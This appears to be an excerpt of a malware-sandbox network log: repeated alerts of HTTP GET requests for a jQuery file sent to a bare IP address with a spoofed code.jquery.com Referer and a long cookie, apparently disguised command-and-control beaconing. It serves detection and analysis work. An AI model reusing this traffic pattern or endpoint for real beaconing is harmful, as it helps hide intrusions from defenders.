Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127
Source: unknown	TCP traffic detected without corresponding DNS query: 45.116.78.127

Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
